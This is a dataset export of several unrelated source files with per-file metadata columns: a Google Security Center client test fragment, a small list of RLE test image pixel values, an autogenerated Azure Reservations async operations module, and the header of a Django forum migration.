actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_update_security_marks_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
security_marks = {}
with pytest.raises(CustomException):
client.update_security_marks(security_marks)
| 37.474174
| 88
| 0.668324
| 4,369
| 44,257
| 6.493706
| 0.058366
| 0.063234
| 0.022699
| 0.032427
| 0.890064
| 0.859998
| 0.821014
| 0.808748
| 0.776532
| 0.768778
| 0
| 0.02319
| 0.253632
| 44,257
| 1,180
| 89
| 37.505932
| 0.835705
| 0.061414
| 0
| 0.716312
| 0
| 0
| 0.102944
| 0.064467
| 0
| 0
| 0
| 0
| 0.088652
| 1
| 0.059102
| false
| 0.003546
| 0.020095
| 0.001182
| 0.086288
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
dbfc0b9f79b944a624ed1d09219a8584104df482
| 440
|
py
|
Python
|
RLE/RLE_pde/ImagesData.py
|
shirogin/Multimedia
|
ca685c29c617e8eb2aa0ceb3f46e945712b26c72
|
[
"MIT"
] | null | null | null |
RLE/RLE_pde/ImagesData.py
|
shirogin/Multimedia
|
ca685c29c617e8eb2aa0ceb3f46e945712b26c72
|
[
"MIT"
] | null | null | null |
RLE/RLE_pde/ImagesData.py
|
shirogin/Multimedia
|
ca685c29c617e8eb2aa0ceb3f46e945712b26c72
|
[
"MIT"
] | null | null | null |
Images=[(0,255,0,255,0,255 ,
255,0,255,0,255,0,
0,255,0,255,0,255 ,
255,0,255,0,255,0,
0,255,0,255,0,255 ,
255,0,255,0,255,0),
(255,255,255,0,0,0,
0,0,0,255,255,255,
255,255,255,0,0,0,
255,255,255,0,0,0,
0,0,0,255,255,255,
255,255,255,0,0,0,),
(255,255,255,255,255,255,
255,255,255,255,255,255,
0,0,0,0,0,0,
0,0,0,0,0,0,
255,255,255,255,255,255,
255,255,255,255,255,255,)]
| 24.444444
| 30
| 0.531818
| 109
| 440
| 2.146789
| 0.027523
| 1
| 1.153846
| 1.230769
| 0.974359
| 0.974359
| 0.974359
| 0.974359
| 0.974359
| 0.974359
| 0
| 0.647727
| 0.2
| 440
| 18
| 30
| 24.444444
| 0.017045
| 0
| 0
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
e0157382b70f67d2934d9070dcf69c15da23d360
| 36,740
|
py
|
Python
|
sdk/reservations/azure-mgmt-reservations/azure/mgmt/reservations/aio/operations/_reservation_operations.py
|
rsdoherty/azure-sdk-for-python
|
6bba5326677468e6660845a703686327178bb7b1
|
[
"MIT"
] | 2,728
|
2015-01-09T10:19:32.000Z
|
2022-03-31T14:50:33.000Z
|
sdk/reservations/azure-mgmt-reservations/azure/mgmt/reservations/aio/operations/_reservation_operations.py
|
rsdoherty/azure-sdk-for-python
|
6bba5326677468e6660845a703686327178bb7b1
|
[
"MIT"
] | 17,773
|
2015-01-05T15:57:17.000Z
|
2022-03-31T23:50:25.000Z
|
sdk/reservations/azure-mgmt-reservations/azure/mgmt/reservations/aio/operations/_reservation_operations.py
|
rsdoherty/azure-sdk-for-python
|
6bba5326677468e6660845a703686327178bb7b1
|
[
"MIT"
] | 1,916
|
2015-01-19T05:05:41.000Z
|
2022-03-31T19:36:44.000Z
|
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is regenerated.
# --------------------------------------------------------------------------
from typing import Any, AsyncIterable, Callable, Dict, Generic, List, Optional, TypeVar, Union
import warnings
from azure.core.async_paging import AsyncItemPaged, AsyncList
from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error
from azure.core.pipeline import PipelineResponse
from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest
from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod
from azure.mgmt.core.exceptions import ARMErrorFormat
from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling
from ... import models as _models
T = TypeVar('T')
ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]]
class ReservationOperations:
"""ReservationOperations async operations.
You should not instantiate this class directly. Instead, you should create a Client instance that
instantiates it for you and attaches it as an attribute.
:ivar models: Alias to model classes used in this operation group.
:type models: ~azure.mgmt.reservations.models
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An object model deserializer.
"""
models = _models
def __init__(self, client, config, serializer, deserializer) -> None:
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self._config = config
async def _available_scopes_initial(
self,
reservation_order_id: str,
reservation_id: str,
body: "_models.AvailableScopeRequest",
**kwargs: Any
) -> "_models.AvailableScopeProperties":
cls = kwargs.pop('cls', None) # type: ClsType["_models.AvailableScopeProperties"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2020-10-01-preview"
content_type = kwargs.pop("content_type", "application/json")
accept = "application/json"
# Construct URL
url = self._available_scopes_initial.metadata['url'] # type: ignore
path_format_arguments = {
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
'reservationId': self._serialize.url("reservation_id", reservation_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str')
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
body_content_kwargs = {} # type: Dict[str, Any]
body_content = self._serialize.body(body, 'AvailableScopeRequest')
body_content_kwargs['content'] = body_content
request = self._client.post(url, query_parameters, header_parameters, **body_content_kwargs)
pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
error = self._deserialize.failsafe_deserialize(_models.Error, response)
raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)
deserialized = self._deserialize('AvailableScopeProperties', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
_available_scopes_initial.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/reservations/{reservationId}/availableScopes'} # type: ignore
async def begin_available_scopes(
self,
reservation_order_id: str,
reservation_id: str,
body: "_models.AvailableScopeRequest",
**kwargs: Any
) -> AsyncLROPoller["_models.AvailableScopeProperties"]:
"""Get Available Scopes for ``Reservation``.
Get Available Scopes for ``Reservation``.
:param reservation_order_id: Order Id of the reservation.
:type reservation_order_id: str
:param reservation_id: Id of the Reservation Item.
:type reservation_id: str
:param body:
:type body: ~azure.mgmt.reservations.models.AvailableScopeRequest
:keyword callable cls: A custom type or function that will be passed the direct response
:keyword str continuation_token: A continuation token to restart a poller from a saved state.
:keyword polling: By default, your polling method will be AsyncARMPolling.
Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy.
:paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod
:keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present.
:return: An instance of AsyncLROPoller that returns either AvailableScopeProperties or the result of cls(response)
:rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.reservations.models.AvailableScopeProperties]
:raises ~azure.core.exceptions.HttpResponseError:
"""
polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod]
cls = kwargs.pop('cls', None) # type: ClsType["_models.AvailableScopeProperties"]
lro_delay = kwargs.pop(
'polling_interval',
self._config.polling_interval
)
cont_token = kwargs.pop('continuation_token', None) # type: Optional[str]
if cont_token is None:
raw_result = await self._available_scopes_initial(
reservation_order_id=reservation_order_id,
reservation_id=reservation_id,
body=body,
cls=lambda x,y,z: x,
**kwargs
)
kwargs.pop('error_map', None)
kwargs.pop('content_type', None)
def get_long_running_output(pipeline_response):
deserialized = self._deserialize('AvailableScopeProperties', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
path_format_arguments = {
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
'reservationId': self._serialize.url("reservation_id", reservation_id, 'str'),
}
if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs)
elif polling is False: polling_method = AsyncNoPolling()
else: polling_method = polling
if cont_token:
return AsyncLROPoller.from_continuation_token(
polling_method=polling_method,
continuation_token=cont_token,
client=self._client,
deserialization_callback=get_long_running_output
)
else:
return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method)
begin_available_scopes.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/reservations/{reservationId}/availableScopes'} # type: ignore
async def _split_initial(
self,
reservation_order_id: str,
body: "_models.SplitRequest",
**kwargs: Any
) -> Optional[List["_models.ReservationResponse"]]:
cls = kwargs.pop('cls', None) # type: ClsType[Optional[List["_models.ReservationResponse"]]]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2020-10-01-preview"
content_type = kwargs.pop("content_type", "application/json")
accept = "application/json"
# Construct URL
url = self._split_initial.metadata['url'] # type: ignore
path_format_arguments = {
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str')
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
body_content_kwargs = {} # type: Dict[str, Any]
body_content = self._serialize.body(body, 'SplitRequest')
body_content_kwargs['content'] = body_content
request = self._client.post(url, query_parameters, header_parameters, **body_content_kwargs)
pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200, 202]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
error = self._deserialize.failsafe_deserialize(_models.Error, response)
raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ReservationResponse]', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
_split_initial.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/split'} # type: ignore
async def begin_split(
self,
reservation_order_id: str,
body: "_models.SplitRequest",
**kwargs: Any
) -> AsyncLROPoller[List["_models.ReservationResponse"]]:
"""Split the ``Reservation``.
Split a ``Reservation`` into two ``Reservation``\ s with specified quantity distribution.
:param reservation_order_id: Order Id of the reservation.
:type reservation_order_id: str
:param body: Information needed to Split a reservation item.
:type body: ~azure.mgmt.reservations.models.SplitRequest
:keyword callable cls: A custom type or function that will be passed the direct response
:keyword str continuation_token: A continuation token to restart a poller from a saved state.
:keyword polling: By default, your polling method will be AsyncARMPolling.
Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy.
:paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod
:keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present.
:return: An instance of AsyncLROPoller that returns either list of ReservationResponse or the result of cls(response)
:rtype: ~azure.core.polling.AsyncLROPoller[list[~azure.mgmt.reservations.models.ReservationResponse]]
:raises ~azure.core.exceptions.HttpResponseError:
"""
polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod]
cls = kwargs.pop('cls', None) # type: ClsType[List["_models.ReservationResponse"]]
lro_delay = kwargs.pop(
'polling_interval',
self._config.polling_interval
)
cont_token = kwargs.pop('continuation_token', None) # type: Optional[str]
if cont_token is None:
raw_result = await self._split_initial(
reservation_order_id=reservation_order_id,
body=body,
cls=lambda x,y,z: x,
**kwargs
)
kwargs.pop('error_map', None)
kwargs.pop('content_type', None)
def get_long_running_output(pipeline_response):
deserialized = self._deserialize('[ReservationResponse]', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
path_format_arguments = {
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
}
if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'location'}, path_format_arguments=path_format_arguments, **kwargs)
elif polling is False: polling_method = AsyncNoPolling()
else: polling_method = polling
if cont_token:
return AsyncLROPoller.from_continuation_token(
polling_method=polling_method,
continuation_token=cont_token,
client=self._client,
deserialization_callback=get_long_running_output
)
else:
return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method)
begin_split.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/split'} # type: ignore
async def _merge_initial(
self,
reservation_order_id: str,
body: "_models.MergeRequest",
**kwargs: Any
) -> Optional[List["_models.ReservationResponse"]]:
cls = kwargs.pop('cls', None) # type: ClsType[Optional[List["_models.ReservationResponse"]]]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2020-10-01-preview"
content_type = kwargs.pop("content_type", "application/json")
accept = "application/json"
# Construct URL
url = self._merge_initial.metadata['url'] # type: ignore
path_format_arguments = {
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str')
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
body_content_kwargs = {} # type: Dict[str, Any]
body_content = self._serialize.body(body, 'MergeRequest')
body_content_kwargs['content'] = body_content
request = self._client.post(url, query_parameters, header_parameters, **body_content_kwargs)
pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200, 202]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
error = self._deserialize.failsafe_deserialize(_models.Error, response)
raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ReservationResponse]', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
_merge_initial.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/merge'} # type: ignore
async def begin_merge(
self,
reservation_order_id: str,
body: "_models.MergeRequest",
**kwargs: Any
) -> AsyncLROPoller[List["_models.ReservationResponse"]]:
"""Merges two ``Reservation``\ s.
Merge the specified ``Reservation``\ s into a new ``Reservation``. The two ``Reservation``\ s
being merged must have same properties.
:param reservation_order_id: Order Id of the reservation.
:type reservation_order_id: str
:param body: Information needed for commercial request for a reservation.
:type body: ~azure.mgmt.reservations.models.MergeRequest
:keyword callable cls: A custom type or function that will be passed the direct response
:keyword str continuation_token: A continuation token to restart a poller from a saved state.
:keyword polling: By default, your polling method will be AsyncARMPolling.
Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy.
:paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod
:keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present.
:return: An instance of AsyncLROPoller that returns either list of ReservationResponse or the result of cls(response)
:rtype: ~azure.core.polling.AsyncLROPoller[list[~azure.mgmt.reservations.models.ReservationResponse]]
:raises ~azure.core.exceptions.HttpResponseError:
"""
polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod]
cls = kwargs.pop('cls', None) # type: ClsType[List["_models.ReservationResponse"]]
lro_delay = kwargs.pop(
'polling_interval',
self._config.polling_interval
)
cont_token = kwargs.pop('continuation_token', None) # type: Optional[str]
if cont_token is None:
raw_result = await self._merge_initial(
reservation_order_id=reservation_order_id,
body=body,
cls=lambda x,y,z: x,
**kwargs
)
kwargs.pop('error_map', None)
kwargs.pop('content_type', None)
def get_long_running_output(pipeline_response):
deserialized = self._deserialize('[ReservationResponse]', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
path_format_arguments = {
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
}
if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'location'}, path_format_arguments=path_format_arguments, **kwargs)
elif polling is False: polling_method = AsyncNoPolling()
else: polling_method = polling
if cont_token:
return AsyncLROPoller.from_continuation_token(
polling_method=polling_method,
continuation_token=cont_token,
client=self._client,
deserialization_callback=get_long_running_output
)
else:
return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method)
begin_merge.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/merge'} # type: ignore
def list(
self,
reservation_order_id: str,
**kwargs: Any
) -> AsyncIterable["_models.ReservationList"]:
"""Get ``Reservation``\ s in a given reservation Order.
List ``Reservation``\ s within a single ``ReservationOrder``.
:param reservation_order_id: Order Id of the reservation.
:type reservation_order_id: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: An iterator like instance of either ReservationList or the result of cls(response)
:rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.reservations.models.ReservationList]
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.ReservationList"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2020-10-01-preview"
accept = "application/json"
def prepare_request(next_link=None):
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
if not next_link:
# Construct URL
url = self.list.metadata['url'] # type: ignore
path_format_arguments = {
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
request = self._client.get(url, query_parameters, header_parameters)
else:
url = next_link
query_parameters = {} # type: Dict[str, Any]
request = self._client.get(url, query_parameters, header_parameters)
return request
async def extract_data(pipeline_response):
deserialized = self._deserialize('ReservationList', pipeline_response)
list_of_elem = deserialized.value
if cls:
list_of_elem = cls(list_of_elem)
return deserialized.next_link or None, AsyncList(list_of_elem)
async def get_next(next_link=None):
request = prepare_request(next_link)
pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
error = self._deserialize.failsafe_deserialize(_models.Error, response)
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)
return pipeline_response
return AsyncItemPaged(
get_next, extract_data
)
list.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/reservations'} # type: ignore
async def get(
self,
reservation_id: str,
reservation_order_id: str,
expand: Optional[str] = None,
**kwargs: Any
) -> "_models.ReservationResponse":
"""Get ``Reservation`` details.
Get specific ``Reservation`` details.
:param reservation_id: Id of the Reservation Item.
:type reservation_id: str
:param reservation_order_id: Order Id of the reservation.
:type reservation_order_id: str
:param expand: Supported value of this query is renewProperties.
:type expand: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: ReservationResponse, or the result of cls(response)
:rtype: ~azure.mgmt.reservations.models.ReservationResponse
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.ReservationResponse"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2020-10-01-preview"
accept = "application/json"
# Construct URL
url = self.get.metadata['url'] # type: ignore
path_format_arguments = {
'reservationId': self._serialize.url("reservation_id", reservation_id, 'str'),
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
if expand is not None:
query_parameters['expand'] = self._serialize.query("expand", expand, 'str')
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
request = self._client.get(url, query_parameters, header_parameters)
pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
error = self._deserialize.failsafe_deserialize(_models.Error, response)
raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)
deserialized = self._deserialize('ReservationResponse', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
get.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/reservations/{reservationId}'} # type: ignore
async def _update_initial(
self,
reservation_order_id: str,
reservation_id: str,
parameters: "_models.Patch",
**kwargs: Any
) -> Optional["_models.ReservationResponse"]:
cls = kwargs.pop('cls', None) # type: ClsType[Optional["_models.ReservationResponse"]]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2020-10-01-preview"
content_type = kwargs.pop("content_type", "application/json")
accept = "application/json"
# Construct URL
url = self._update_initial.metadata['url'] # type: ignore
path_format_arguments = {
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
'reservationId': self._serialize.url("reservation_id", reservation_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str')
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
body_content_kwargs = {} # type: Dict[str, Any]
body_content = self._serialize.body(parameters, 'Patch')
body_content_kwargs['content'] = body_content
request = self._client.patch(url, query_parameters, header_parameters, **body_content_kwargs)
pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200, 202]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
error = self._deserialize.failsafe_deserialize(_models.Error, response)
raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReservationResponse', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
_update_initial.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/reservations/{reservationId}'} # type: ignore
async def begin_update(
self,
reservation_order_id: str,
reservation_id: str,
parameters: "_models.Patch",
**kwargs: Any
) -> AsyncLROPoller["_models.ReservationResponse"]:
"""Updates a ``Reservation``.
Updates the applied scopes of the ``Reservation``.
:param reservation_order_id: Order Id of the reservation.
:type reservation_order_id: str
:param reservation_id: Id of the Reservation Item.
:type reservation_id: str
:param parameters: Information needed to patch a reservation item.
:type parameters: ~azure.mgmt.reservations.models.Patch
:keyword callable cls: A custom type or function that will be passed the direct response
:keyword str continuation_token: A continuation token to restart a poller from a saved state.
:keyword polling: By default, your polling method will be AsyncARMPolling.
Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy.
:paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod
:keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present.
:return: An instance of AsyncLROPoller that returns either ReservationResponse or the result of cls(response)
:rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.reservations.models.ReservationResponse]
:raises ~azure.core.exceptions.HttpResponseError:
"""
polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod]
cls = kwargs.pop('cls', None) # type: ClsType["_models.ReservationResponse"]
lro_delay = kwargs.pop(
'polling_interval',
self._config.polling_interval
)
cont_token = kwargs.pop('continuation_token', None) # type: Optional[str]
if cont_token is None:
raw_result = await self._update_initial(
reservation_order_id=reservation_order_id,
reservation_id=reservation_id,
parameters=parameters,
cls=lambda x,y,z: x,
**kwargs
)
kwargs.pop('error_map', None)
kwargs.pop('content_type', None)
def get_long_running_output(pipeline_response):
deserialized = self._deserialize('ReservationResponse', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
path_format_arguments = {
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
'reservationId': self._serialize.url("reservation_id", reservation_id, 'str'),
}
if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs)
elif polling is False: polling_method = AsyncNoPolling()
else: polling_method = polling
if cont_token:
return AsyncLROPoller.from_continuation_token(
polling_method=polling_method,
continuation_token=cont_token,
client=self._client,
deserialization_callback=get_long_running_output
)
else:
return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method)
begin_update.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/reservations/{reservationId}'} # type: ignore
def list_revisions(
self,
reservation_id: str,
reservation_order_id: str,
**kwargs: Any
) -> AsyncIterable["_models.ReservationList"]:
"""Get ``Reservation`` revisions.
List of all the revisions for the ``Reservation``.
:param reservation_id: Id of the Reservation Item.
:type reservation_id: str
:param reservation_order_id: Order Id of the reservation.
:type reservation_order_id: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: An iterator like instance of either ReservationList or the result of cls(response)
:rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.reservations.models.ReservationList]
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.ReservationList"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
api_version = "2020-10-01-preview"
accept = "application/json"
def prepare_request(next_link=None):
# Construct headers
header_parameters = {} # type: Dict[str, Any]
header_parameters['Accept'] = self._serialize.header("accept", accept, 'str')
if not next_link:
# Construct URL
url = self.list_revisions.metadata['url'] # type: ignore
path_format_arguments = {
'reservationId': self._serialize.url("reservation_id", reservation_id, 'str'),
'reservationOrderId': self._serialize.url("reservation_order_id", reservation_order_id, 'str'),
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {} # type: Dict[str, Any]
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
request = self._client.get(url, query_parameters, header_parameters)
else:
url = next_link
query_parameters = {} # type: Dict[str, Any]
request = self._client.get(url, query_parameters, header_parameters)
return request
async def extract_data(pipeline_response):
deserialized = self._deserialize('ReservationList', pipeline_response)
list_of_elem = deserialized.value
if cls:
list_of_elem = cls(list_of_elem)
return deserialized.next_link or None, AsyncList(list_of_elem)
async def get_next(next_link=None):
request = prepare_request(next_link)
pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
error = self._deserialize.failsafe_deserialize(_models.Error, response)
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)
return pipeline_response
return AsyncItemPaged(
get_next, extract_data
)
list_revisions.metadata = {'url': '/providers/Microsoft.Capacity/reservationOrders/{reservationOrderId}/reservations/{reservationId}/revisions'} # type: ignore
| 48.921438
| 181
| 0.666549
| 3,885
| 36,740
| 6.089833
| 0.075418
| 0.018344
| 0.041845
| 0.025741
| 0.881905
| 0.877045
| 0.868972
| 0.868169
| 0.860856
| 0.848388
| 0
| 0.005671
| 0.236935
| 36,740
| 750
| 182
| 48.986667
| 0.838238
| 0.105471
| 0
| 0.803607
| 0
| 0
| 0.135135
| 0.056877
| 0
| 0
| 0
| 0
| 0
| 1
| 0.018036
| false
| 0
| 0.02004
| 0
| 0.11022
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1608eb15af89afcd097a3132bb6af90ab9263a29
| 33,138
|
py
|
Python
|
unobase/forum/migrations/0001_initial.py
|
unomena/unobase
|
175e768afa1608f9f34d1e5a053763ad27db0f7e
|
[
"BSD-3-Clause"
] | null | null | null |
unobase/forum/migrations/0001_initial.py
|
unomena/unobase
|
175e768afa1608f9f34d1e5a053763ad27db0f7e
|
[
"BSD-3-Clause"
] | null | null | null |
unobase/forum/migrations/0001_initial.py
|
unomena/unobase
|
